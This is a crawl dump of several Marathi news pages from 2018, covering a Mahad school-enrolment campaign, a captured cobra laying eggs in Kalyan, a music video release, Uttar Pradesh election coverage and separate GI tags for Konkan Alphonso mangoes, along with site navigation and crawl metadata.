मतदानासाठी पैसे घेवून लाचार होवू नका असे सांगत, त्यांच्यातील स्वाभीमान जागा करतो. निवडून आल्यावर प्रभागातली कामे न झाल्यास तुमची चप्पल आणि आमचे तोंड असे आव्हानही तो देतो. राजवर्धनने त्याच्या प्रभागात एकट्याच्या बळावर सुरु केलेला प्रचार मतदारांना आकर्षित करीत आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleकाश्मीरमध्ये जवानांना सापडली दहशतवाद्यांची ‘फोल्डिंग शिडी’\nचारा-पाण्याचा प्रश्न गंभीर; मेंढपाळांचे स्थलांतर\nग्रामविस्तार अधिकारी व कर्मचाऱ्याला लाथाबुक्क्यांनी मारहाण\nहतबल शेतकऱ्यावर उभ्या पिकात जनावरे सोडण्याची वेळ\nघारगाव परिसरात पुन्हा २.५ रिश्टर स्केलचा भूकंपाचा सौम्य धक्का\nआश्वी बुद्रुक येथिल सेन्ट्रल बँकेचे एटीएम फोडण्याचा अयशस्वी प्रयत्न\nVideo : बोटा येथील आठ दुकान अज्ञात चोरट्यांनी फोडली\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/kokan/promotion-mahad-school-admission-42289", "date_download": "2018-09-25T17:37:00Z", "digest": "sha1:H3INCDSKWOFSCNKTTPURZSK7LDNZSF3Y", "length": 15291, "nlines": 176, "source_domain": "www.esakal.com", "title": "Promotion in the mahad for school admission जिल्हा परिषदेच्या शाळा \"लय भारी' | eSakal", "raw_content": "\nजिल्हा परिषदेच्या शाळा \"लय भारी'\nगुरुवार, 27 एप्रिल 2017\nमहाड - पोषण आहार, पाठ्यपुस्तके यांच्यासह अन्य सोई-सुविधा दिल्यानंतरही जिल्हा परिषदेच्या शाळांमधील विद्यार्थ्यांची पटसंख्या घटत आहे. यावर महाड तालुक्‍यात विचार मंथन करण्यात आले आहे. या शाळांचे महत्त्व अधोरेखित करून विद्यार्थ्यांना आकर्षित करण्याचा प्रयत्न सुरू आहे. विशेष म्हणजे, महाडच्या गटविकास अधिकाऱ्यांचा हा प्रयत्न पालकांनाही प्रभावित करीत असून जिल्हा परिषदेच्याच शाळा \"लय भारी' असल्याचे वाटू लागले आहे.\nमहाड - पोषण आहार, पाठ्यपुस्तके यांच्यासह अन्य सोई-सुविधा दिल्यानंतरही जिल्हा परिषदेच्या शाळांमधील विद्यार्थ्यांची पटसंख्या घटत आहे. यावर महाड तालुक्‍यात विचार मंथन करण्यात आले आहे. या शाळांचे महत्त्व अधोरेखित करून विद्यार्थ्यांना आकर्षित करण्याचा प्रयत्न सुरू आहे. विशेष म्हणजे, महाडच्या गटविकास अधिकाऱ्यांचा हा प्रयत्न पालकांनाही प्रभावित करीत असून जिल्हा परिषदेच्याच शाळा \"लय भारी' असल्याचे वाटू लागले आहे.\nमहाड तालुक्‍यात जिल्हा परिषदेच्या प्राथमिक शाळांचे जाळे आहे. या शाळांमध्ये मोफत पाठ्यपुस्तकांपासून शालेय पोषण आहार देण्यात येतो. प्रशिक्षित शिक्षक वर्ग आणि सुसज्ज इमारती हे या शाळांचे वैशिष्ट्य असतानाही त्या पटसंख्येअभावी ओस पडू लागल्या आहेत. गेल्या वर्षभरामध्ये सेमी इंग्रजी अभ्यासक्रम, आठवीचे वर्ग सुरू करणे, डिजिटल शाळा, ई लर्निंग असे वेगवेगळे उपक्रम राबवून जिल्हा परिषद आपली पटसंख्या टिकवण्याचा प्रयत्न करत आहे.\nमहाड तालुक्‍यात 10 वर्षांत दर वर्षी सरासरी एक हजाराने पटसंख्या कमी होत आहे. तालुक्‍यात सद्यस्थितीत सात हजार 958 विद्यार्थी जिल्हा परिषदेच्या शाळेत शिकत आहेत. यावर्षी अधिक विद्यार्थी शाळेत दाखल व्हावेत, यासाठी गटशिक्षणाधिकारी सुनीता चांदोरकर यांच्या कल्पनेतून बॅनरद्वारे जिल्हा परिषदेच्या शाळांचे महत्त्व अधोरेखित करणाऱ्या जाहिराती प्रसिद्ध केल्या आहेत. खासगी शाळा मोठमोठे होर्डिंग्ज व बॅनर्स ठिकठिकाणी लावत असतात; तसेच बॅनर केंद्र व शाळा स्तरावर लावण्यास पंचायत समितीनेही लावण्यास सुरुवात केली आहे. जिल्हा परिषदेच्या शाळांची माहिती देणारा आणि पालकांना आवाहन करणारा व्हिडीओ सभापती सीताराम कदम, उपसभापती सुहेब पाचकर व गटशिक्षणाधिकारी सुनीता चांदोरकर यांनी तयार करून तो यू ट्युबवर आणि अन्य सोशल मीडियावर प्रसारीत करत आहेत. जिल्हापरिषद शाळा किती छान आहे, भविष्यासाठी आम्ही विद्यार्थी घडवतो ...अशा प्रकारे घोषवाक्‍य तयार करून बॅनर तयार केले आहेत.\nजिल्हा परिषदेच्या शाळांची महती वर्णन करणाऱ्या बॅनरवर शिक्षकांनी काढलेली शाळांची व विद्यार्थ्यांची छायाचित्रेही छापण्यात आली आहेत. मोफत शिक्षण, पाठ्यपुस्तके व गणवेश, स्वच्छ पाणी, स्वतंत्र शौचालय, अनुभवी शिक्षक यांसह शाळेत मिळणाऱ्या सर्व सवलती यांची माहिती बॅनरवर आहे.\nमहाड तालुक्‍यात जिल्हा परिषद शाळांमधील पटसंख्या वाढावी, यासाठी पंचायत समितीकडून वेगवेगळे प्रयत्न सुरू आहेत. त्यात यशही येत आहे. या वर्षीही जाहिरात माध्यमाचा वापर प्रवेशवाढीसाठी करण्याचा प्रयत्न सुरू आहे.\n- सुनीता चांदोरकर, गटशिक्षणाधिकारी, महाड\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/female-snake-deliver-24-egg/", "date_download": "2018-09-25T16:54:25Z", "digest": "sha1:LJCWNA7ZHULG23U4BJKPJQ4CN6LC6NKB", "length": 4356, "nlines": 37, "source_domain": "www.pudhari.news", "title": " सर्पमित्राने पकडलेल्या नागिणीने दिली २४ अंडी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › सर्पमित्राने पकडलेल्या नागिणीने दिली २४ अंडी\nसर्पमित्राने पकडलेल्या नागिणीने दिली २४ अंडी\nकल्याण पश्चिमेकडील उंबर्डे परिसरातील श्री कॉम्प्लेक्स येथील एका इमारतीत नागीण फिरत असल्याची माहिती सर्प मित्र दत्ता बोबे यांना मिळाली होती. त्यांनी आपल्या सहकाऱ्यांसह तत्काळ त्या ठिकाणी जाऊन नागिणीला मोठ्या शर्थीने पकडले.\nपकडलेल्या नागिणीला त्यांनी पालिकेच्या अग्निशमन दलाच्या आवारात ठेवले होते. आज (सोमवार दि.16) सकाळी ते नागिणीला मुरबाडच्या जंगलात सोडून देणार होते. सकाळी नागिणीला जंगलात सोडायचे म्हणून ते नागिणीला पकडण्यासाठी गेले असता त्यांना नागिणीने चोवीस अंडी दिल्याचे दिसून आले.\nनागिणीने अंडी दिल्याने ती आजुबाजूला कोणालाही फिरकू देत नव्हती. त्यामुळे पुन्हा तिला पकडण्यासाठी सर्पमित्रांना चांगलीच कसरत करावी लागली. नागिणीला पकडून त्यांनी मुरबाडच्या जंगलात सोडून दिले तर अंडी वन विभागाच्या ताब्यात दिली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/amruta-fadanvis-and-big-b-new-song-phir-se-release-262006.html", "date_download": "2018-09-25T16:49:27Z", "digest": "sha1:BOEX4OS7KFSEAEJKQ3DCHTOM7X3BY6YX", "length": 12404, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "बिग बींसोबत अमृता फडणवीस यांचं 'फिर से' गाणं रिलीज", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबिग बींसोबत अमृता फडणवीस यांचं 'फिर से' गाणं रिलीज\nउंच भरारी घेऊ पाहणाऱ्या स्वप्नांवर विश्वास असला की ती स्वप्न पूर्ण होतात अशा आशयाचं हे गाणं मुंबईच्या ऑपेरा हाऊसमध्ये चित्रित करण्यात आलं.\n01 जून : अमृता फडणवीस यांचं नवं गाणं 'फिर से' नुकतंच प्रदर्शित झालं.या गाण्याचं लाँचिंग खुद्द अमिताभ बच्चन यांच्या हस्ते मुंबईत करण्यात आलं.विशेष म्हणजे या गाण्यात अमृता फडणवीस यांच्यासोबत अमिताभ बच्चन यांनी स्वत: काम केलंय.\nया सोहळ्याला गाण्याचे दिग्दर्शक अहमद खान, संगीतकार जीत गांगुली, रचनाकार रश्मी विराग, अरेंजर अभिजीत वाघानींसोबत टी सीरिजचे सर्वेसर्वा भूषण कुमार उपस्थित होते.\nउंच भरारी घेऊ पाहणाऱ्या स्वप्नांवर विश्वास असला की ती स्वप्न पूर्ण होतात अशा आशयाचं हे गाणं मुंबईच्या ऑपेरा हाऊसमध्ये चित्रित करण्यात आलं. अमृता फडणवीस यांनी बिग बींसोबत केलेला परफाॅर्मन्स विशेष गाजला.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/video/article-252739.html", "date_download": "2018-09-25T17:23:56Z", "digest": "sha1:6OE6G5Y56V63AR7XJ5KHKJZRALDX2R7S", "length": 10720, "nlines": 123, "source_domain": "lokmat.news18.com", "title": "उत्तर प्रदेशात कशी आहे निवडणुकीची हवा?", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nउत्तर प्रदेशात कशी आहे निवडणुकीची हवा\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: electionuttar pradeshउत्तर प्रदेशयूपीचं महाभारत\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nVIDEO : भिवंडीत गणेश मंडळाच्या कार्यकर्त्यांची तरुणाला घरात घुसून बेदम मारहाण\nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00372.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-ratnagiri-devgad-alibag-alphonso-get-seprate-gi-7579", "date_download": "2018-09-25T17:45:44Z", "digest": "sha1:5HED67VAW2KEF45OXVD5HRTZPPDWNWDL", "length": 18442, "nlines": 149, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, Ratnagiri, Devgad, Alibag Alphonso to get Seprate GI | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nरत्नागिरी, देवगड, अलिबाग हापूसला स्वतंत्र 'जीआय'\nरत्नागिरी, देवगड, अलिबाग हापूसला स्वतंत्र 'जीआय'\nशुक्रवार, 20 एप्रिल 2018\nमुंबई : हापूस ‘कोणा’चा हा गुंता आता सुटण्याच्या मार्गावर असून, लवकरच हापूस ‘कोकण’चाच यावर शिक्कामोर्तब होण्याचे संकेत मिळाले आहेत. कोकणच्या हापूसबरोबरच देवगड, रत्नागिरी, अलिबाग यांना स्वतंत्र अस्तित्वही सरकारी पातळीवर मान्य होणार असल्याने बागायतदारांच्या दृष्टीने ही आनंदाची वार्ता असणार आहे.\nमुंबई : हापूस ‘कोणा’चा हा गुंता आता सुटण्याच्या मार्गावर असून, लवकरच हापूस ‘कोकण’चाच यावर शिक्कामोर्तब होण्याचे संकेत मिळाले आहेत. कोकणच्या हापूसबरोबरच देवगड, रत्नागिरी, अलिबाग यांना स्वतंत्र अस्तित्वही सरकारी पातळीवर मान्य होणार असल्याने बागायतदारांच्या दृष्टीने ही आनंदाची वार्ता असणार आहे.\nभौगोलिक निर्देशांक (जीआय) विषयातील अभ्यासक प्रा. गणेश हिंगमिरे यांनी या संदर्भात माहिती दिली. देशात प्रामुख्याने चार राज्यांत हापूसचे उत्पादन घेतले जाते. यामुळे कोकणचा मूळ निवासी असलेल्या हापूसला स्वतंत्र ओळख मिळत नव्हती. परिणामी देवगड, रत्नागिरी, अलिबाग येथील आंबा बागायतदारांना हापूसच्या भौगोलिक दर्जाचा आर्थिक लाभ घेता येत नव्हता. सर्वच राज्यांतील हापूस एकच अशी कृषी विद्यापीठाची भूमिका यास मारक ठरत असल्याने गेल्याकाही वर्षांपासून हा लढा सरकार दरबारी सुरू होता. अखेर सरकार दरबारी याबाबत गुरुवारी (ता. १९) झालेल्या सुनावणीत हापूस कोकणचाच या विषयावर एकमत होण्यास व तत्त्वतः मंजुरी मिळविण्यात यश आल्याचे प्रा. हिंगमिरे यांनी सांगितले.\nकोकणच्या हापूसला बल्साड, धारवाड हापूसशी स्पर्धा असते. मात्र, स्वाद आणि गंध यांच्या भौगोलिक गुणधर्मामुळे महाराष्ट्रातील कोकणपट्ट्यात देवगड, रत्नागिरी आणि अलिबाग हापूसचा स्वतंत्र दर्जा आणि वैशिष्ट्ये असल्याने शेतकऱ्यांना अधिक दराचा लाभ मिळत असतो. परंतु, चार राज्यांत पिकणारा हापूस हा एकच असल्याच्या कृषी विद्यापीठाच्या भूमिकेमुळे यास देशात अाणि परदेशात बाजारपेठेत अधिकचा लाभ मिळविण्यात अडचणीत येत होत्या. भौगोलिक निर्देशांकाकरिता (जीआय) दाखल दाव्यांनासुद्धा अडचणी निर्माण होत होत्या, अखेर यावर दर्जा, चव आणि गंध यासह इतर मूळस्थान आदी वैशिष्ट्यांचा लाभ ‘कोकण हापूस’ला देण्याचे संकेत मिळाले आहेत. परिणामी कोकणातील हापूस परदेशात अधिकृतरीत्या स्वतंत्र अस्तित्व निर्माण करण्यास यशस्वी ठरेल असे दिसते. वाणिज्य मंत्रालयाच्या अंतर्गत ‘जिआॅग्राफिकल इंडिकेशन्स रजिस्ट्री’ कार्यालयाकडून येत्या २७ एप्रिलला याबाबत अधिकृत निर्णय जाहीर होण्याचे संकेत प्रा. हिंगमिरे यांनी दिले आहेत.\nदेवगड, रत्नागिरी हापूसच्या नावावर शिक्कामोर्तब\nआपल्या मातीतील अस्सल स्वाद आणि गंध असलेल्या हापूस आंब्याला ‘जीआय’ मिळावा यासाठी कोकणातील आंबा बागायतदार सुमारे साडेचार- पाच वर्षांपासून झगडत होते. त्यानुसार ‘जिआॅग्राफिकल इंडिकेशन्स रजिस्ट्री’कडून मागील वर्षी देवगड आणि रत्नागिरी हापूस असे स्वतंत्र ‘जीआय’ देण्यात आले. त्यानंतर या निर्णयावर आक्षेप नोंदवण्यासाठी साडेचार महिन्यांचा कालावधी देण्यात आला होता. त्यामध्ये देवगड व रत्नागिरी असे स्वतंत्र प्रकार न करता हापूस सरसकट कोकणचा याप्रकारचे ‘जीआय’ मिळावे असा एक आक्षेप नोंदवण्यात आला. मात्र दोन्ही भागांतील भौगौलिकता, जमीन, हवामान, लागवड इतिहास आदी बाबी तपासून पाहता त्यांना स्वतंत्रपणे ‘जीआय’ देण्याचा निर्णय आता घेण्यात आला आहे.\nहापूस कोकण अलिबाग सरकार government निर्देशांक विषय topics कृषी विद्यापीठ agriculture university स्पर्धा day महाराष्ट्र मंत्रालय रत्नागिरी हापूस हवामान\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा 